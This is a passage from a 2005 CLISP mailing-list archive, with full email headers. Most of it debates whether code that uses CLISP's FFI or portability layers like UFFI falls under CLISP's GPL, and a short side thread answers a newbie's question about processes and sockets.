COPYRIGHT file it. >Bruno should clarify the issue both here and in the COPYRIGHT file. I think we had that exact same discussion maybe a year ago. Bruno made some changes to COPYRIGHT, but they didn't help me. Note that he did not add FFI to the list of packages in COPYRIGHT, although IIRC I suggested that (note sure if it would be better that way). OTOH, maybe we wish for too much: objectively, shouldn't we realize that the above argument is as moot as the attempt, >10 years ago, to provide a version of CLISP without readline? Yet CLISP is said to have become GPL precisely because of readline. Same for UFFI or whatever: There's some software (UFFI) that wants to make use of a GPL SW (CLISP), even makeing use of clisp-specific stuff not in package CL, EXT or keyword. What do you believe can be the only answer, when you try to eliminate wishful thinking? Regards, Jorg Hohle. From ktilton@nyc.rr.com Thu Jun 09 03:01:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgJqi-0006RO-7a for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 03:01:20 -0700 Received: from ms-smtp-01-smtplb.rdc-nyc.rr.com ([24.29.109.5] helo=ms-smtp-01.rdc-nyc.rr.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgJqg-00039r-9Y for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 03:01:19 -0700 Received: from nyc.rr.com (cpe-66-65-182-98.nyc.res.rr.com [66.65.182.98]) by ms-smtp-01.rdc-nyc.rr.com (8.12.10/8.12.7) with ESMTP id j59A18T5008160; Thu, 9 Jun 2005 06:01:10 -0400 (EDT) Message-ID: <42A8136F.20609@nyc.rr.com> From: Kenny Tilton User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net, bruno@clisp.org Subject: Re: [clisp-list] Re: License Question in re FFI References: <5F9130612D07074EB0A0CE7E69FD7A03049B9A76@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03049B9A76@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 03:03:21 2005 X-Original-Date: Thu, 09 Jun 2005 06:01:19 -0400 Hoehle, Joerg-Cyril wrote: >Sam Steingold wrote: > > >>The rule of thumb is: is your application useful without CLISP? >>(i.e., can it be used with other lisps?) >>if not, it's GPL. >>if yes, it's not. >>NOTE: the above is not authoritative, the COPYRIGHT file it. >>Bruno should clarify the issue both here and in the COPYRIGHT file. >> >> > >I think we had that exact same discussion maybe a year ago. Bruno made some changes to COPYRIGHT, but they didn't help me. Note that he did not add FFI to the list of packages in COPYRIGHT, although IIRC I suggested that (note sure if it would be better that way). > Let's not forget the new MOP support, while we are talking about changing the licensing, or we just go thru this exercise again. > >OTOH, maybe we wish for too much: objectively, shouldn't we realize that the above argument is as moot as the attempt, >10 years ago, to provide a version of CLISP without readline? Yet CLISP is said to have become GPL precisely because of readline. > >Same for UFFI or whatever: There's some software (UFFI) that wants to make use of a GPL SW (CLISP), > No, it is within and only within the #+CLisp environment that UFFI macros are generating code which does FFI. all CLs do FFI. This is no more making use of GPL SW than is invoking CAR. CLisp does not want to GPLize CLisp applications which use CAR, according to the license. When I imagine the intention behind that choice, I imagine "you do not have to GPL the applications you develop with CLisp". But developing apps means using FFI and sometimes the MOP. Those happen not to be standardized in the spec, so they vary between implementations. Does that also mean the intent to allow development of non-GPL applications with CLisp somehow disappears because FFI and MOP never made it into the spec? >What do you believe can be the only answer, when you try to eliminate wishful thinking? > > Clear up the copyright and any FAQ references, one way or the other. IANAL, but with a self-contradictory license, and UFFI+CLisp satisfying most requirements...next question. -- Kenny Why Lisp? http://lisp.tech.coop/RtL%20Highlight%20Film "If you plan to enter text which our system might consider to be obscene, check here to certify that you are old enough to hear the resulting output." -- Bell Labs text-to-speech interactive Web page From pjb@informatimago.com Thu Jun 09 05:25:14 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgM5u-0004jw-8o for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 05:25:10 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgM5k-0007L3-8n for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 05:25:05 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 720915833D; Thu, 9 Jun 2005 14:24:50 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C511058344; Thu, 9 Jun 2005 14:21:13 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1DFDB10FBF3; Thu, 9 Jun 2005 14:21:13 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17064.13368.522897.980904@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: pjb@informatimago.com, ktilton@nyc.rr.com, clisp-list@lists.sourceforge.net, bruno@clisp.org Subject: Re: [clisp-list] Re: License Question in re FFI In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03049B9A6A@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A03049B9A6A@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 05:28:08 2005 X-Original-Date: Thu, 9 Jun 2005 14:21:12 +0200 Hoehle, Joerg-Cyril writes: > Pascal Bourguignon wrote: > >It seems to me that if you'd design an API KFFI and you'd program your > >application against this KFFI API, you could implement the KFFI API > >on UFFI and on CLISP FFI. It's possible that the KFFI to CLISP FFI > >need to be GPL'ed, but if I've understood correctly, not your > >application. IANAL. > > Me too, IANAL. > > I've a feeling that slime is better positioned than UFFI > w.r.t. copyright. UFFI macros are split on a #+xyz case across each > and every file, while slime has a easily separatable > swank-clisp.lisp file. The header of that files says GPL, while > e.g. swank-allegro.lisp says "public domain". > > Thus I could imagine source package distributing the whole of it, > claiming on the largest part of the package, > and GPL on some. IMHO that should work. Or they could remove the GPL > parts from a particular distribution. > > With all in a single file, that's harder (or you write a > preprocessor to remove #+clisp parts from a Lisp source file) and > maintain both files. This is a good point. I favored separate files for technical and esthetic reasons, now I've got this legal reason more. -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From pjb@informatimago.com Thu Jun 09 05:27:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgM8O-0004s4-J8 for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 05:27:44 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgM8L-0007mq-06 for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 05:27:43 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 4E67B582FA; Thu, 9 Jun 2005 14:27:38 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C660E585C8; Thu, 9 Jun 2005 14:24:01 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id AC7A910FBF3; Thu, 9 Jun 2005 14:24:01 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17064.13537.668880.249046@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, ktilton@nyc.rr.com, bruno@clisp.org Subject: Re: [clisp-list] Re: License Question in re FFI In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03049B9A76@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A03049B9A76@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 05:29:40 2005 X-Original-Date: Thu, 9 Jun 2005 14:24:01 +0200 Hoehle, Joerg-Cyril writes: > Same for UFFI or whatever: There's some software (UFFI) that wants > to make use of a GPL SW (CLISP), even makeing use of clisp-specific > stuff not in package CL, EXT or keyword. Strange formulation. Isn't clisp who wants to provide an UFFI API? I'd think clisp would benefit more from UFFI than UFFI from clisp. -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From bruno@clisp.org Thu Jun 09 05:35:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgMFc-0005Hg-KG for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 05:35:12 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DgMFc-00038Z-5Q for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 05:35:12 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j59CZ1q3013490; Thu, 9 Jun 2005 14:35:01 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j59CYunr019529; Thu, 9 Jun 2005 14:34:56 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 17C4B3BD84; Thu, 9 Jun 2005 12:33:53 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , Kenny Tilton User-Agent: KMail/1.5 References: <42A73D25.5060601@nyc.rr.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506091433.52062.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 05:38:34 2005 X-Original-Date: Thu, 9 Jun 2005 14:33:52 +0200 Kenny Tilton wrote: > > From the CLisp copyright: > > > > "This copyright does *not* cover user programs that run in CLISP and > > third-party packages not part of CLISP, if they only reference external > > symbols in CLISP's public packages (namely the packages COMMON-LISP, > > COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP > > internals and would as well run in any other Common Lisp implementation." This paragraph in CLISP's copyright has been changed on 2004-09-15, in order to be compatible with portability layers such as clocc/port and UFFI. It now reads like this: " This copyright does *not* cover user programs that run in CLISP and third-party packages not part of CLISP, if a) They only reference external symbols in CLISP's public packages (namely the packages COMMON-LISP, COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP internals and would as well run in any other Common Lisp implementation. Or b) They only reference external symbols in CLISP's public packages (namely the packages COMMON-LISP, COMMON-LISP-USER, KEYWORD, EXT) and some external, not CLISP specific, symbols in third-party packages that are released with source code under a GPL compatible license and that run in a great number of Common Lisp implementations, i.e. if they rely on CLISP internals only to the extent needed for gaining some functionality also available in a great number of Common Lisp implementations. Such user programs are not covered by the term "derived work" used in the GNU GPL. Neither is their compiled code, i.e. the result of compiling them by use of the function COMPILE-FILE. We refer to such user programs as "independent work". " > > But if I use the FFI, which is not listed as one of the > > "public" packages, my code also will not run in any other CL. > > > > Is my app now a derived work? If your app uses the CLISP FFI package and doesn't run in "a great number of Common Lisp implementations", then the exception clause doesn't apply, and your app - when distributed with the intent of being used in clisp - falls under GPL. (The explanation is that under these circumstances, your app qualifies more as an extension of clisp than as a portable program.) Sam Steingold wrote: > it is my understanding that portability layers are explicitly exempt > from the GPL contagion. > > The rule of thumb is: is your application useful without CLISP? > (i.e., can it be used with other lisps?) > if not, it's GPL. > if yes, it's not. Correct. But even a little more: Does your application provide more functionality in CLISP than in other Lisp implementations, because it uses the FFI package (or other CLISP internals)? If yes, then it's GPL. Bruno From ashwin.shirvanthe@gmail.com Thu Jun 09 05:37:43 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgMI0-0005Kj-EP for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 05:37:40 -0700 Received: from wproxy.gmail.com ([64.233.184.206]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgMHw-0000oD-Rj for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 05:37:39 -0700 Received: by wproxy.gmail.com with SMTP id 69so77292wri for ; Thu, 09 Jun 2005 05:37:31 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=RCwuOo4mN3Zp/tvzdCTeRDLqTHpaOA9F7oWCjrChBaeIbXD3cMaybyxmMZCMXv15x3c/8eFDBpJZWgGatVi9YjaezckU11mMxwc980xG+g60vrT6m+94FhRltVlh5Q7DBnyfOSq/eVA+vCrmjLfXz5kWBUr0wffQikuak/r9VZo= Received: by 10.54.25.52 with SMTP id 52mr342557wry; Thu, 09 Jun 2005 05:37:30 -0700 (PDT) Received: by 10.54.104.12 with HTTP; Thu, 9 Jun 2005 05:37:30 -0700 (PDT) Message-ID: From: Ashwin Rao Reply-To: Ashwin Rao To: pjb@informatimago.com Subject: Re: [clisp-list] Process Cc: clisp-list@lists.sourceforge.net In-Reply-To: <17063.2472.525072.373580@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <17063.2472.525072.373580@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 05:41:55 2005 X-Original-Date: Thu, 9 Jun 2005 18:07:30 +0530 On 6/8/05, Pascal J. Bourguignon wrote: > Ashwin Rao writes: > > I am lisp newbie and want to create a new process. > > Following is the sample code I wrote which creates a new process that m= odifies > > a variable. > > > > ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; begin of file > > (defvar *var*) > > > > (setf *var* 1) > > > > (defun my-func() > > (setf *var* (+ *var* 100)) > > (format t "~A" *var*)) > > > > (defun my-process() > > (let (p1 (make-process #'my-func)))) > > ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; end of file > > > > But the function my-func is not getting called. > > What do I have to do to run the process? > > I have compiled clisp using --with-threads=3DPOSIX_THREADS >=20 > Threads are not implemented yet in clisp. >=20 > In the mean time, you can use unix processes with: (linux:fork). >=20 Could you please help me in this regard as well Do I have to recompile clisp with some config params or can I find it in some package. Also the file at http://cvs.sourceforge.net/viewcvs.py/*checkout*/clisp/clisp/doc/multithrea= d.txt mentions that multithreading is not supported. Now if I want to develop a tiny chat server, I want one thread/process to accept new connections and the others to handle the present connections. Can this be implemented on clisp if yes can someone give me some pointers t= o=20 on how to go about this. (Is there an equivalent to the select sytem call).= =20 Regards, Ashwin From sds@gnu.org Thu Jun 09 06:18:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgMvd-0007VC-55 for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 06:18:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DgMvb-0002GR-HD for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 06:18:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.171]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j59DIMNR011307; Thu, 9 Jun 2005 09:18:23 -0400 (EDT) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net, Kenny Tilton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200506091433.52062.bruno@clisp.org> (Bruno Haible's message of "Thu, 9 Jun 2005 14:33:52 +0200") References: <42A73D25.5060601@nyc.rr.com> <200506091433.52062.bruno@clisp.org> Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net, Kenny Tilton Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 06:20:19 2005 X-Original-Date: Thu, 09 Jun 2005 09:17:52 -0400 > * Bruno Haible [2005-06-09 14:33:52 +0200]: > > Sam Steingold wrote: >> it is my understanding that portability layers are explicitly exempt >> from the GPL contagion. >> >> The rule of thumb is: is your application useful without CLISP? >> (i.e., can it be used with other lisps?) >> if not, it's GPL. >> if yes, it's not. > > Correct. So, a program that relies on clocc/port or uffi is completely exempt from all licensing requirements coming from CLISP. > But even a little more: Does your application provide more > functionality in CLISP than in other Lisp implementations, because it > uses the FFI package (or other CLISP internals)? If yes, then it's > GPL. how about clocc/port & uffi themselves? do I need to re-license clocc/port from LGPL to GPL because I use CLISP internals there? can uffi stay llgpl? [BTW, it's "lesser", not "lessor" on ] now, supposed someone decides that a high-level FFI is better and decides to write a HL-FFI compatibility layer based on the CLISP FFI. so, his files will look like this: #+clisp (do-external-symbols (s "FFI") (import s "HL-FFI") (export s "HL-FFI")) #-clisp (defmacro def-call-out ...) #-clisp (defmacro def-call-in ...) ... does this layer falls under GPL? (suppose that the first release is incomplete, so for each non-CLISP implementation something is missing, so under CLISP it does provide more functionality). some clarifications are still in order. -- Sam Steingold (http://www.podval.org/~sds) running w2k Money does not "play a role", it writes the scenario. From sds@gnu.org Thu Jun 09 06:52:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgNS7-0000yT-5P for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 06:52:11 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DgNS5-0008L9-JT for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 06:52:11 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.171]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j59Dq0dV016061; Thu, 9 Jun 2005 09:52:00 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Ashwin Rao Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Ashwin Rao's message of "Thu, 9 Jun 2005 18:07:30 +0530") References: <17063.2472.525072.373580@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Ashwin Rao Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Process Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 06:54:42 2005 X-Original-Date: Thu, 09 Jun 2005 09:51:29 -0400 > * Ashwin Rao [2005-06-09 18:07:30 +0500]: > > Now if I want to develop a tiny chat server, I want one thread/process > to accept new connections and the others to handle the present > connections. if you use socket-status, you may be able to get away with a single thread. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp suffers from being twenty or thirty years ahead of time. From ktilton@nyc.rr.com Thu Jun 09 10:23:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgQkY-00055y-9K for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 10:23:26 -0700 Received: from ms-smtp-03-smtplb.rdc-nyc.rr.com ([24.29.109.7] helo=ms-smtp-03.rdc-nyc.rr.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DgQkV-00009O-Mx for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 10:23:26 -0700 Received: from nyc.rr.com (cpe-66-65-182-98.nyc.res.rr.com [66.65.182.98]) by ms-smtp-03.rdc-nyc.rr.com (8.12.10/8.12.7) with ESMTP id j59HN9Gk016454; Thu, 9 Jun 2005 13:23:12 -0400 (EDT) Message-ID: <42A87B09.7010902@nyc.rr.com> From: Kenny Tilton User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bruno Haible CC: clisp-list@lists.sourceforge.net, Sam Steingold References: <42A73D25.5060601@nyc.rr.com> <200506091433.52062.bruno@clisp.org> In-Reply-To: <200506091433.52062.bruno@clisp.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 10:26:01 2005 X-Original-Date: Thu, 09 Jun 2005 13:23:21 -0400 Bruno Haible wrote: >Kenny Tilton wrote: > > >>> From the CLisp copyright: >>> >>>"This copyright does *not* cover user programs that run in CLISP and >>> third-party packages not part of CLISP, if they only reference external >>> symbols in CLISP's public packages (namely the packages COMMON-LISP, >>> COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP >>> internals and would as well run in any other Common Lisp implementation." >>> >>> > >This paragraph in CLISP's copyright has been changed on 2004-09-15, in >order to be compatible with portability layers such as clocc/port and UFFI. >It now reads like this: > >" > This copyright does *not* cover user programs that run in CLISP and > third-party packages not part of CLISP, if > a) They only reference external symbols in CLISP's public packages > (namely the packages COMMON-LISP, COMMON-LISP-USER, KEYWORD, EXT), > i.e. if they don't rely on CLISP internals and would as well run > in any other Common Lisp implementation. Or > b) They only reference external symbols in CLISP's public packages > (namely the packages COMMON-LISP, COMMON-LISP-USER, KEYWORD, EXT) > and some external, not CLISP specific, symbols in third-party > packages that are released with source code under a GPL compatible > license and that run in a great number of Common Lisp implementations, > i.e. if they rely on CLISP internals only to the extent needed > for gaining some functionality also available in a great number of > Common Lisp implementations. > Such user programs are not covered by the term "derived work" used in > the GNU GPL. Neither is their compiled code, i.e. the result of compiling > them by use of the function COMPILE-FILE. We refer to such user programs > as "independent work". >" > > Ah, well the whole point of UFFI (and my fork, Hello-C) is to make possible portable code, so... well, I guess you know about UFFI. That does not support CLisp (I gather) because of this concern over GPL contagion. Assuming UFFI continues its "leats common denominator"-only policy (nothing gets in that does not run everywhere), are you prepared to make a flat out statement that they are safe (so we do not need to hire lawyers to meditate on the fine 